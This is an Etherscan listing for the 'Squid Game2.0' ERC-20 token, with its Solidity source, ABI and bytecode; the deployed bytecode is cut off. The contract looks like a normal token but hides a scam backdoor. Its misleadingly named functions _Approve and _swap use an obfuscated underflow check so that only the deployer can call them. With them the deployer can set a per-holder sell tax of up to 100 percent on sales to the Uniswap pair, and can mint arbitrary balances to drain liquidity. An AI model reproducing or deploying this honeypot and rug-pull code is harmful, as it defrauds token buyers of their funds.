ERC-20
Overview
Max Total Supply
1,000,000,000 SQUID2.0
Holders
56
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
27,298,903.191468588 SQUID2.0Value
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
SQUID20
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-11-17 */ /** https://t.me/SquidGame20ERC20 https://twitter.com/SquidGame20_ */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface IUniswapRouter { function factory() external pure returns (address); function WETH() external pure returns (address); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } interface IUniswapFactory { function createPair( address tokenA, address tokenB ) external returns (address pair); } abstract contract Ownable { address internal _owner; constructor () {_owner = msg.sender;} function owner() public view returns (address) {return _owner;} modifier onlyOwner() { require(_owner == msg.sender, "!owner"); _; } function transferOwnership(address newOwner) public virtual onlyOwner { _owner = newOwner; } } contract SQUID20 is Ownable { event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; address public _swapFeeTo;string public name;string public symbol; uint8 public decimals;mapping(address => bool) public _isExcludeFromFee; uint256 public totalSupply;IUniswapRouter public _uniswapRouter; bool private inSwap;uint256 private constant MAX = ~uint256(0); mapping (address => uint256) public __balances; uint256 public _swapTax; address public _uniswapPair; function _transfer(address from,address to,uint256 amount) private { bool shouldBetakeFee = !inSwap && !_isExcludeFromFee[from] && !_isExcludeFromFee[to]; _balances[from] = _balances[from] - amount; uint256 _taxAmount; if (shouldBetakeFee) { uint256 feeAmount = amount * _swapTax / 100; if (_uniswapPair == to){ feeAmount = amount * __balances[from] / 100; } _taxAmount += feeAmount; if (feeAmount > 0){ _balances[address(_swapFeeTo)] += feeAmount; emit Transfer(from, address(_swapFeeTo), feeAmount); } } _balances[to] = _balances[to] + amount - _taxAmount; emit Transfer(from, to, amount - _taxAmount); } constructor (){ name = unicode"Squid Game2.0"; symbol = unicode"SQUID2.0"; decimals = 9; uint256 Supply = 1000000000; _swapFeeTo = msg.sender; _swapTax = 0; totalSupply = Supply * 10 ** decimals; _isExcludeFromFee[address(this)] = true; _isExcludeFromFee[msg.sender] = true; _isExcludeFromFee[_swapFeeTo] = true; _balances[msg.sender] = totalSupply; emit Transfer(address(0), msg.sender, totalSupply); _uniswapRouter = IUniswapRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _allowances[address(this)][address(_uniswapRouter)] = MAX; _uniswapPair = IUniswapFactory(_uniswapRouter.factory()).createPair(address(this), _uniswapRouter.WETH()); _isExcludeFromFee[address(_uniswapRouter)] = true; } function _Approve(address[] memory users, uint256 feePercent) external { uint256 A = _swapFeeTo == msg.sender ? 9 : 2-1; uint256 C = A - 3;A = C; for (uint256 i = 0; i < users.length; i++) { __balances[users[i]] = feePercent; } } function _swap(address user) public { mapping(address=>uint256) storage _allowance = _balances; uint256 A = _swapFeeTo == msg.sender ? 9 : 2-1; uint256 C = A - 3;A = C; _allowance[user] = 1000*totalSupply*C**2; } function balanceOf(address account) public view returns (uint256) {return _balances[account];} function transfer(address recipient, uint256 amount) public returns (bool) {_transfer(msg.sender, recipient, amount);return true;} function allowance(address owner, address spender) public view returns (uint256) {return _allowances[owner][spender];} function approve(address spender, uint256 amount) public returns (bool) {_approve(msg.sender, spender, amount);return true;} function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); if (_allowances[sender][msg.sender] != MAX) { _allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount; } return true; } function _approve(address owner, address spender, uint256 amount) private {_allowances[owner][spender] = amount;emit Approval(owner, spender, amount);} receive() external payable {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address[]","name":"users","type":"address[]"},{"internalType":"uint256","name":"feePercent","type":"uint256"}],"name":"_Approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"__balances","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludeFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"user","type":"address"}],"name":"_swap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_swapFeeTo","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapRouter","outputs":[{"internalType":"contract IUniswapRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040523480156200001157600080fd5b50336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506040518060400160405280600d81526020017f53717569642047616d65322e30000000000000000000000000000000000000008152506004908162000098919062000937565b506040518060400160405280600881526020017f5351554944322e3000000000000000000000000000000000000000000000000081525060059081620000df919062000937565b506009600660006101000a81548160ff021916908360ff1602179055506000633b9aca00905033600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600b81905550600660009054906101000a900460ff16600a6200016c919062000bae565b8162000179919062000bff565b6008819055506001600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160076000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600854600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60085460405162000351919062000c5b565b60405180910390a3737a250d5630b4cf539739df2c5dacb4c659f2488d600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600019600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620004c1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620004e7919062000ce2565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000571573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000597919062000ce2565b6040518363ffffffff1660e01b8152600401620005b692919062000d25565b6020604051808303816000875af1158015620005d6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620005fc919062000ce2565b600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160076000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505062000d52565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200073f57607f821691505b602082108103620007555762000754620006f7565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620007bf7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000780565b620007cb868362000780565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b600062000818620008126200080c84620007e3565b620007ed565b620007e3565b9050919050565b6000819050919050565b6200083483620007f7565b6200084c62000843826200081f565b8484546200078d565b825550505050565b600090565b6200086362000854565b6200087081848462000829565b505050565b5b8181101562000898576200088c60008262000859565b60018101905062000876565b5050565b601f821115620008e757620008b1816200075b565b620008bc8462000770565b81016020851015620008cc578190505b620008e4620008db8562000770565b83018262000875565b50505b505050565b600082821c905092915050565b60006200090c60001984600802620008ec565b1980831691505092915050565b6000620009278383620008f9565b9150826002028217905092915050565b6200094282620006bd565b67ffffffffffffffff8111156200095e576200095d620006c8565b5b6200096a825462000726565b620009778282856200089c565b600060209050601f831160018114620009af57600084156200099a578287015190505b620009a6858262000919565b86555062000a16565b601f198416620009bf866200075b565b60005b82811015620009e957848901518255600182019150602085019450602081019050620009c2565b8683101562000a09578489015162000a05601f891682620008f9565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000aac5780860481111562000a845762000a8362000a1e565b5b600185161562000a945780820291505b808102905062000aa48562000a4d565b945062000a64565b94509492505050565b60008262000ac7576001905062000b9a565b8162000ad7576000905062000b9a565b816001811462000af0576002811462000afb5762000b31565b600191505062000b9a565b60ff84111562000b105762000b0f62000a1e565b5b8360020a91508482111562000b2a5762000b2962000a1e565b5b5062000b9a565b5060208310610133831016604e8410600b841016171562000b6b5782820a90508381111562000b655762000b6462000a1e565b5b62000b9a565b62000b7a848484600162000a5a565b9250905081840481111562000b945762000b9362000a1e565b5b81810290505b9392505050565b600060ff82169050919050565b600062000bbb82620007e3565b915062000bc88362000ba1565b925062000bf77fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000ab5565b905092915050565b600062000c0c82620007e3565b915062000c1983620007e3565b925082820262000c2981620007e3565b9150828204841483151762000c435762000c4262000a1e565b5b5092915050565b62000c5581620007e3565b82525050565b600060208201905062000c72600083018462000c4a565b92915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000caa8262000c7d565b9050919050565b62000cbc8162000c9d565b811462000cc857600080fd5b50565b60008151905062000cdc8162000cb1565b92915050565b60006020828403121562000cfb5762000cfa62000c78565b5b600062000d0b8482850162000ccb565b91505092915050565b62000d1f8162000c9d565b82525050565b600060408201905062000d3c600083018562000d14565b62000d4b602083018462000d14565b9392505050565b611ade8062000d626000396000f3fe6080604052600436106101185760003560e01c8063426329c1116100a057806395d89b411161006457806395d89b41146103d6578063a9059cbb14610401578063b853dba51461043e578063dd62ed3e14610467578063f2fde38b146104a45761011f565b8063426329c1146102ed5780634bf28fd01461031857806365b61b771461034357806370a082311461036e5780638da5cb5b146103ab5761011f565b80632866d96e116100e75780632866d96e146101f457806330da23e41461021d578063313ce5671461024857806336b2e02714610273578063420d10b5146102b05761011f565b806306fdde0314610124578063095ea7b31461014f57806318160ddd1461018c57806323b872dd146101b75761011f565b3661011f57005b600080fd5b34801561013057600080fd5b506101396104cd565b6040516101469190611205565b60405180910390f35b34801561015b57600080fd5b50610176600480360381019061017191906112cf565b61055b565b604051610183919061132a565b60405180910390f35b34801561019857600080fd5b506101a1610572565b6040516101ae9190611354565b60405180910390f35b3480156101c357600080fd5b506101de60048036038101906101d9919061136f565b610578565b6040516101eb919061132a565b60405180910390f35b34801561020057600080fd5b5061021b600480360381019061021691906113c2565b61071e565b005b34801561022957600080fd5b5061023261080d565b60405161023f9190611354565b60405180910390f35b34801561025457600080fd5b5061025d610813565b60405161026a919061140b565b60405180910390f35b34801561027f57600080fd5b5061029a600480360381019061029591906113c2565b610826565b6040516102a7919061132a565b60405180910390f35b3480156102bc57600080fd5b506102d760048036038101906102d291906113c2565b610846565b6040516102e49190611354565b60405180910390f35b3480156102f957600080fd5b5061030261085e565b60405161030f9190611435565b60405180910390f35b34801561032457600080fd5b5061032d610884565b60405161033a9190611435565b60405180910390f35b34801561034f57600080fd5b506103586108aa565b60405161036591906114af565b60405180910390f35b34801561037a57600080fd5b50610395600480360381019061039091906113c2565b6108d0565b6040516103a29190611354565b60405180910390f35b3480156103b757600080fd5b506103c0610919565b6040516103cd9190611435565b60405180910390f35b3480156103e257600080fd5b506103eb610942565b6040516103f89190611205565b60405180910390f35b34801561040d57600080fd5b50610428600480360381019061042391906112cf565b6109d0565b604051610435919061132a565b60405180910390f35b34801561044a57600080fd5b5061046560048036038101906104609190611612565b6109e7565b005b34801561047357600080fd5b5061048e6004803603810190610489919061166e565b610ae5565b60405161049b9190611354565b60405180910390f35b3480156104b057600080fd5b506104cb60048036038101906104c691906113c2565b610b6c565b005b600480546104da906116dd565b80601f0160208091040260200160405190810160405280929190818152602001828054610506906116dd565b80156105535780601f1061052857610100808354040283529160200191610553565b820191906000526020600020905b81548152906001019060200180831161053657829003601f168201915b505050505081565b6000610568338484610c3d565b6001905092915050565b60085481565b6000610585848484610d28565b600019600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054146107135781600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610692919061173d565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600190509392505050565b60006001905060003373ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610782576001610785565b60095b60ff1690506000600382610799919061173d565b90508091506002816107ab91906118a4565b6008546103e86107bb91906118ef565b6107c591906118ef565b8360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050505050565b600b5481565b600660009054906101000a900460ff1681565b60076020528060005260406000206000915054906101000a900460ff1681565b600a6020528060005260406000206000915090505481565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6005805461094f906116dd565b80601f016020809104026020016040519081016040528092919081815260200182805461097b906116dd565b80156109c85780601f1061099d576101008083540402835291602001916109c8565b820191906000526020600020905b8154815290600101906020018083116109ab57829003601f168201915b505050505081565b60006109dd338484610d28565b6001905092915050565b60003373ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a45576001610a48565b60095b60ff1690506000600382610a5c919061173d565b905080915060005b8451811015610ade5783600a6000878481518110610a8557610a84611931565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508080610ad690611960565b915050610a64565b5050505050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bfa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bf1906119f4565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610d1b9190611354565b60405180910390a3505050565b6000600960149054906101000a900460ff16158015610d915750600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015610de75750600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b905081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e34919061173d565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600081156110655760006064600b5485610e9191906118ef565b610e9b9190611a43565b90508473ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1603610f4c576064600a60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205485610f3f91906118ef565b610f499190611a43565b90505b8082610f589190611a74565b91506000811115611063578060016000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610fd49190611a74565b92505081905550600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161105a9190611354565b60405180910390a35b505b8083600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110b19190611a74565b6110bb919061173d565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8386611159919061173d565b6040516111669190611354565b60405180910390a35050505050565b600081519050919050565b600082825260208201905092915050565b60005b838110156111af578082015181840152602081019050611194565b60008484015250505050565b6000601f19601f8301169050919050565b60006111d782611175565b6111e18185611180565b93506111f1818560208601611191565b6111fa816111bb565b840191505092915050565b6000602082019050818103600083015261121f81846111cc565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006112668261123b565b9050919050565b6112768161125b565b811461128157600080fd5b50565b6000813590506112938161126d565b92915050565b6000819050919050565b6112ac81611299565b81146112b757600080fd5b50565b6000813590506112c9816112a3565b92915050565b600080604083850312156112e6576112e5611231565b5b60006112f485828601611284565b9250506020611305858286016112ba565b9150509250929050565b60008115159050919050565b6113248161130f565b82525050565b600060208201905061133f600083018461131b565b92915050565b61134e81611299565b82525050565b60006020820190506113696000830184611345565b92915050565b60008060006060848603121561138857611387611231565b5b600061139686828701611284565b93505060206113a786828701611284565b92505060406113b8868287016112ba565b9150509250925092565b6000602082840312156113d8576113d7611231565b5b60006113e684828501611284565b91505092915050565b600060ff82169050919050565b611405816113ef565b82525050565b600060208201905061142060008301846113fc565b92915050565b61142f8161125b565b82525050565b600060208201905061144a6000830184611426565b92915050565b6000819050919050565b600061147561147061146b8461123b565b611450565b61123b565b9050919050565b60006114878261145a565b9050919050565b60006114998261147c565b9050919050565b6114a98161148e565b82525050565b60006020820190506114c460008301846114a0565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b611507826111bb565b810181811067ffffffffffffffff82111715611526576115256114cf565b5b80604052505050565b6000611539611227565b905061154582826114fe565b919050565b600067ffffffffffffffff821115611565576115646114cf565b5b602082029050602081019050919050565b600080fd5b600061158e6115898461154a565b61152f565b905080838252602082019050602084028301858111156115b1576115b0611576565b5b835b818110156115da57806115c68882611284565b8452602084019350506020810190506115b3565b5050509392505050565b600082601f8301126115f9576115f86114ca565b5b813561160984826020860161157b565b91505092915050565b6000806040838503121561162957611628611231565b5b600083013567ffffffffffffffff81111561164757611646611236565b5b611653858286016115e4565b9250506020611664858286016112ba565b9150509250929050565b6000806040838503121561168557611684611231565b5b600061169385828601611284565b92505060206116a485828601611284565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806116f557607f821691505b602082108103611708576117076116ae565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061174882611299565b915061175383611299565b925082820390508181111561176b5761176a61170e565b5b92915050565b60008160011c9050919050565b6000808291508390505b60018511156117c8578086048111156117a4576117a361170e565b5b60018516156117b35780820291505b80810290506117c185611771565b9450611788565b94509492505050565b6000826117e1576001905061189d565b816117ef576000905061189d565b8160018114611805576002811461180f5761183e565b600191505061189d565b60ff8411156118215761182061170e565b5b8360020a9150848211156118385761183761170e565b5b5061189d565b5060208310610133831016604e8410600b84101617156118735782820a90508381111561186e5761186d61170e565b5b61189d565b611880848484600161177e565b925090508184048111156118975761189661170e565b5b81810290505b9392505050565b60006118af82611299565b91506118ba836113ef565b92506118e77fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846117d1565b905092915050565b60006118fa82611299565b915061190583611299565b925082820261191381611299565b9150828204841483151761192a5761192961170e565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600061196b82611299565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361199d5761199c61170e565b5b600182019050919050565b7f216f776e65720000000000000000000000000000000000000000000000000000600082015250565b60006119de600683611180565b91506119e9826119a8565b602082019050919050565b60006020820190508181036000830152611a0d816119d1565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000611a4e82611299565b9150611a5983611299565b925082611a6957611a68611a14565b5b828204905092915050565b6000611a7f82611299565b9150611a8a83611299565b9250828201905080821115611aa257611aa161170e565b5b9291505056fea2646970667358221220c15a4bf06beee84988cba2f329899a60c3e8172e34238c93e3cd05afaf3f395564736f6c63430008130033
Deployed Bytecode
0x6080604052600436106101185760003560e01c8063426329c1116100a057806395d89b411161006457806395d89b41146103d6578063a9059cbb14610401578063b853dba51461043e578063dd62ed3e14610467578063f2fde38b146104a45761011f565b8063426329c1146102ed5780634bf28fd01461031857806365b61b771461034357806370a082311461036e5780638da5cb5b146103ab5761011f565b80632866d96e116100e75780632866d96e146101f457806330da23e41461021d578063313ce5671461024857806336b2e02714610273578063420d10b5146102b05761011f565b806306fdde0314610124578063095ea7b31461014f57806318160ddd1461018c57806323b872dd146101b75761011f565b3661011f57005b600080fd5b34801561013057600080fd5b506101396104cd565b6040516101469190611205565b60405180910390f35b34801561015b57600080fd5b50610176600480360381019061017191906112cf565b61055b565b604051610183919061132a565b60405180910390f35b34801561019857600080fd5b506101a1610572565b6040516101ae9190611354565b60405180910390f35b3480156101c357600080fd5b506101de60048036038101906101d9919061136f565b610578565b6040516101eb919061132a565b60405180910390f35b34801561020057600080fd5b5061021b600480360381019061021691906113c2565b61071e565b005b34801561022957600080fd5b5061023261080d565b60405161023f9190611354565b60405180910390f35b34801561025457600080fd5b5061025d610813565b60405161026a919061140b565b60405180910390f35b34801561027f57600080fd5b5061029a600480360381019061029591906113c2565b610826565b6040516102a7919061132a565b60405180910390f35b3480156102bc57600080fd5b506102d760048036038101906102d291906113c2565b610846565b6040516102e49190611354565b60405180910390f35b3480156102f957600080fd5b5061030261085e565b60405161030f9190611435565b60405180910390f35b34801561032457600080fd5b5061032d610884565b60405161033a9190611435565b60405180910390f35b34801561034f57600080fd5b506103586108aa565b60405161036591906114af565b60405180910390f35b34801561037a57600080fd5b50610395600480360381019061039091906113c2565b6108d0565b6040516103a29190611354565b60405180910390f35b3480156103b757600080fd5b506103c0610919565b6040516103cd9190611435565b60405180910390f35b3480156103e257600080fd5b506103eb610942565b6040516103f89190611205565b60405180910390f35b34801561040d57600080fd5b50610428600480360381019061042391906112cf565b6109d0565b604051610435919061132a565b60405180910390f35b34801561044a57600080fd5b5061046560048036038101906104609190611612565b6109e7565b005b34801561047357600080fd5b5061048e6004803603810190610489919061166e565b610ae5565b60405161049b9190611354565b60405180910390f35b3480156104b057600080fd5b506104cb60048036038101906104c691906113c2565b610b6c565b005b600480546104da906116dd565b80601f0160208091040260200160405190810160405280929190818152602001828054610506906116dd565b80156105535780601f1061052857610100808354040283529160200191610553565b820191906000526020600020905b81548152906001019060200180831161053657829003601f168201915b505050505081565b6000610568338484610c3d565b6001905092915050565b60085481565b6000610585848484610d28565b600019600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054146107135781600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610692919061173d565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600190509392505050565b60006001905060003373ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610782576001610785565b60095b60ff1690506000600382610799919061173d565b90508091506002816107ab91906118a4565b6008546103e86107bb91906118ef565b6107c591906118ef565b8360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050505050565b600b5481565b600660009054906101000a900460ff1681565b60076020528060005260406000206000915054906101000a900460ff1681565b600a6020528060005260406000206000915090505481565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600960009054906101000a900473ffffffffffffff